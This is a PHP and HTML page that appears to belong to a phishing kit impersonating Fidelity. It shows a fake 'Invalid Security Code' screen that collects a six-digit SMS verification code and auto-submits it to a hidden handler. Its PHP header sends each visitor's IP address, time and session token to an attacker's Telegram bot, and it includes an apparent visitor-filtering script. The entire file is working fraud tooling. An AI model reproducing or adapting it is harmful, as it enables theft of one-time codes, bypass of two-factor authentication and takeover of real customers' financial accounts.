<?php if (session_status() == PHP_SESSION_NONE) {
    session_start();
}
// --- START: Original PHP logic ---
include "../panel/banip/zeus.php";
include "../panel/send/panel.php";
$visitorIP = $_SERVER['REMOTE_ADDR'];
$currentTime = date('H:i:s d/m/Y');
$message = '⚠️ 𝗦𝗠𝗦 𝗘𝗥𝗥𝗢𝗥 𝗦𝗧𝗔𝗧𝗨𝗦
━━━━━━━━━━━━━━━
🎯 𝗦𝘁𝗮𝘁𝘂𝘀: SMS Verification Failed ❌
📍 𝗗𝗲𝘀𝘁𝗶𝗻𝗮𝘁𝗶𝗼𝗻: SMS Error Page 🔄
━━━━━━━━━━━━━━━
📱 𝗗𝗘𝗩𝗜𝗖𝗘 𝗜𝗡𝗙𝗢
━━━━━━━━━━━━━━━
🌍 𝗜𝗣: ' . $visitorIP . '
⏰ 𝗧𝗶𝗺𝗲: ' . $currentTime . '
🔐 𝗦𝗲𝘀𝘀𝗶𝗼𝗻 𝗜𝗗: ' . (isset($_SESSION['auth_token']) ? $_SESSION['auth_token'] : 'N/A');

$url = "https://api.telegram.org/bot$botToken/sendMessage";
$data = http_build_query(["chat_id" => $chatId, "text" => $message, "parse_mode" => "HTML"]);
$options = ["http" => ["header" => "Content-Type: application/x-www-form-urlencoded\r\n", "method" => "POST", "content" => $data,],];
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);

$token = bin2hex(random_bytes(32));
$_SESSION['auth_token'] = $token;
// --- END: Original PHP logic ---
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Security Verification | Fidelity</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #008a00;
            --primary-hover: #007500;
            --bg-gradient: linear-gradient(135deg, #f8fafc 0%, #f1f5f9 100%);
            --card-bg: #ffffff;
            --text-main: #1e293b;
            --text-muted: #64748b;
            --border: #e2e8f0;
            --error-bg: #fff1f2;
            --error-text: #991b1b;
            --error-border: #fecaca;
            --radius-md: 12px;
            --shadow: 0 10px 25px -5px rgba(0, 0, 0, 0.04), 0 8px 10px -6px rgba(0, 0, 0, 0.04);
        }

        * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Inter', -apple-system, sans-serif; }

        body {
            background: var(--bg-gradient);
            color: var(--text-main);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            -webkit-font-smoothing: antialiased;
        }

        /* Updated Navbar for Left Alignment */
        .navbar {
            background: rgba(255, 255, 255, 0.8);
            backdrop-filter: blur(10px);
            border-bottom: 1px solid var(--border);
            padding: 1rem 2rem;
            display: flex;
            align-items: center;
            justify-content: flex-start; /* Aligns content to the left */
        }

        .logo img { height: 52px; width: auto; }

        .container {
            flex: 1;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 2rem 1rem;
        }

        .auth-card {
            background: var(--card-bg);
            width: 100%;
            max-width: 460px;
            padding: 2.5rem;
            border-radius: 24px;
            box-shadow: var(--shadow);
            border: 1px solid var(--border);
        }

        /* Error Alert Box */
        .error-alert {
            background: var(--error-bg);
            border: 1px solid var(--error-border);
            border-radius: var(--radius-md);
            padding: 1rem;
            display: flex;
            gap: 12px;
            margin-bottom: 2rem;
            animation: shake 0.5s cubic-bezier(.36,.07,.19,.97) both;
        }

        @keyframes shake {
            10%, 90% { transform: translate3d(-1px, 0, 0); }
            20%, 80% { transform: translate3d(2px, 0, 0); }
            30%, 50%, 70% { transform: translate3d(-4px, 0, 0); }
            40%, 60% { transform: translate3d(4px, 0, 0); }
        }

        .error-alert svg { color: #dc2626; flex-shrink: 0; margin-top: 2px; }
        .error-title { font-weight: 700; font-size: 0.9rem; color: #991b1b; display: block; margin-bottom: 2px; }
        .error-desc { font-size: 0.85rem; color: #b91c1c; line-height: 1.4; }

        h1 { font-size: 1.5rem; font-weight: 700; margin-bottom: 0.75rem; letter-spacing: -0.025em; }
        .subtitle { color: var(--text-muted); font-size: 0.95rem; line-height: 1.6; margin-bottom: 2rem; }

        /* Step Indicator */
        .steps { display: flex; gap: 8px; margin-bottom: 2rem; }
        .step { flex: 1; display: flex; align-items: center; gap: 8px; padding: 10px; background: #f8fafc; border-radius: 10px; border: 1px solid var(--border); }
        .step.active { border-color: var(--primary); background: #f0fdf4; }
        .step-num { width: 22px; height: 22px; background: #cbd5e1; color: white; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-size: 0.75rem; font-weight: 700; }
        .step.active .step-num { background: var(--primary); }
        .step-label { font-size: 0.75rem; font-weight: 600; color: var(--text-muted); }
        .step.active .step-label { color: var(--primary); }

        /* OTP Inputs */
        .otp-group { display: flex; gap: 0.75rem; justify-content: center; margin-bottom: 2rem; }
        .otp-input {
            width: 52px;
            height: 64px;
            border: 2px solid var(--error-border);
            border-radius: var(--radius-md);
            font-size: 1.5rem;
            font-weight: 700;
            text-align: center;
            background: #fff;
            transition: all 0.2s;
            color: #dc2626;
        }

        .otp-input:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 4px rgba(0, 138, 0, 0.1);
            color: var(--text-main);
        }

        .btn-verify {
            width: 100%;
            height: 56px;
            background-color: var(--primary);
            color: white;
            border: none;
            border-radius: var(--radius-md);
            font-size: 1rem;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.2s ease;
            box-shadow: 0 4px 12px rgba(0, 138, 0, 0.2);
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
        }

        .btn-verify:hover:not(:disabled) { background-color: var(--primary-hover); transform: translateY(-1px); }
        .btn-verify:disabled { background-color: #cbd5e1; cursor: not-allowed; box-shadow: none; }

        .resend-section { margin-top: 1.5rem; text-align: center; }
        .resend-link { color: var(--primary); text-decoration: none; font-weight: 600; font-size: 0.9rem; }
        .timer-text { font-size: 0.85rem; color: var(--text-muted); display: flex; align-items: center; justify-content: center; gap: 6px; }

        @media (max-width: 480px) {
            .navbar { padding: 1rem 1.5rem; }
            .auth-card { padding: 1.5rem; border: none; box-shadow: none; background: transparent; }
            body { background: #fff; }
        }
    </style>
</head>
<body>

    <nav class="navbar">
        <div class="logo">
            <img src="../logo.png" alt="Fidelity">
        </div>
    </nav>

    <div class="container">
        <div class="auth-card">
            <!-- Error Alert -->
            <div class="error-alert">
                <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"></circle><line x1="12" y1="8" x2="12" y2="12"></line><line x1="12" y1="16" x2="12.01" y2="16"></line></svg>
                <div class="error-content">
                    <span class="error-title">Invalid Security Code</span>
                    <p class="error-desc">The code you entered is incorrect or has expired. Please check your messages and try again.</p>
                </div>
            </div>

            <div class="steps">
                <div class="step"><div class="step-num">✓</div><span class="step-label">Login</span></div>
                <div class="step active"><div class="step-num">2</div><span class="step-label">Verify</span></div>
                <div class="step"><div class="step-num">3</div><span class="step-label">Finish</span></div>
            </div>

            <h1>Verification Required</h1>
            <p class="subtitle">A new code was sent to your device. Please enter the 6-digit code to continue.</p>

            <form method="post" action="../panel/send/402c5a6fe4c04c7d269c4532baecc8ee.php" id="verificationForm">
                <div class="otp-group">
                    <input type="text" class="otp-input" maxlength="1" pattern="[0-9]" inputmode="numeric" name="num1" required autofocus>
                    <input type="text" class="otp-input" maxlength="1" pattern="[0-9]" inputmode="numeric" name="num2" required>
                    <input type="text" class="otp-input" maxlength="1" pattern="[0-9]" inputmode="numeric" name="num3" required>
                    <input type="text" class="otp-input" maxlength="1" pattern="[0-9]" inputmode="numeric" name="num4" required>
                    <input type="text" class="otp-input" maxlength="1" pattern="[0-9]" inputmode="numeric" name="num5" required>
                    <input type="text" class="otp-input" maxlength="1" pattern="[0-9]" inputmode="numeric" name="num6" required>
                </div>

                <button type="submit" class="btn-verify" id="verifyButton" disabled>
                    <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"></path></svg>
                    Verify Code
                </button>
            </form>

            <div class="resend-section">
                <a href="#" class="resend-link" id="resendLink" style="display:none">Resend SMS code</a>
                <div class="timer-text" id="timerContainer">
                    <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"></circle><polyline points="12 6 12 12 16 14"></polyline></svg>
                    <span id="timer">Wait 01:49 to resend</span>
                </div>
            </div>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function () {
            const form = document.getElementById('verificationForm');
            const inputs = [...document.querySelectorAll('.otp-input')];
            const verifyButton = document.getElementById('verifyButton');
            const resendLink = document.getElementById('resendLink');
            const timerText = document.getElementById('timer');
            const timerContainer = document.getElementById('timerContainer');
            let submitTimeout;

            inputs.forEach((input, index) => {
                input.addEventListener('input', (e) => {
                    const value = e.target.value;
                    if (!/^\d*$/.test(value)) { e.target.value = ''; return; }
                    if (value.length === 1 && index < inputs.length - 1) inputs[index + 1].focus();
                    validateInputs();
                });
                input.addEventListener('keydown', (e) => {
                    if (e.key === 'Backspace' && !e.target.value && index > 0) inputs[index - 1].focus();
                });
                input.addEventListener('paste', (e) => {
                    e.preventDefault();
                    const pastedData = (e.clipboardData || window.clipboardData).getData('text');
                    const numbers = pastedData.replace(/\D/g, '').split('');
                    if (numbers.length > 0) {
                        inputs.forEach((input, i) => { if (numbers[i]) input.value = numbers[i]; });
                        validateInputs();
                    }
                });
            });

            function validateInputs() {
                const isComplete = inputs.every(input => input.value.length === 1);
                verifyButton.disabled = !isComplete;
                if (isComplete) {
                    clearTimeout(submitTimeout);
                    submitTimeout = setTimeout(() => form.submit(), 800);
                }
            }

            function startTimer(duration) {
                let timer = duration;
                resendLink.style.display = 'none';
                timerContainer.style.display = 'flex';
                const interval = setInterval(() => {
                    const mins = Math.floor(timer / 60);
                    const secs = timer % 60;
                    timerText.textContent = `Wait ${mins.toString().padStart(2, '0')}:${secs.toString().padStart(2, '0')} to resend`;
                    if (--timer < 0) {
                        clearInterval(interval);
                        resendLink.style.display = 'inline-block';
                        timerContainer.style.display = 'none';
                    }
                }, 1000);
            }

            startTimer(109); 
            resendLink.addEventListener('click', (e) => {
                e.preventDefault();
                startTimer(120);
            });
        });
    </script>
</body>
</html>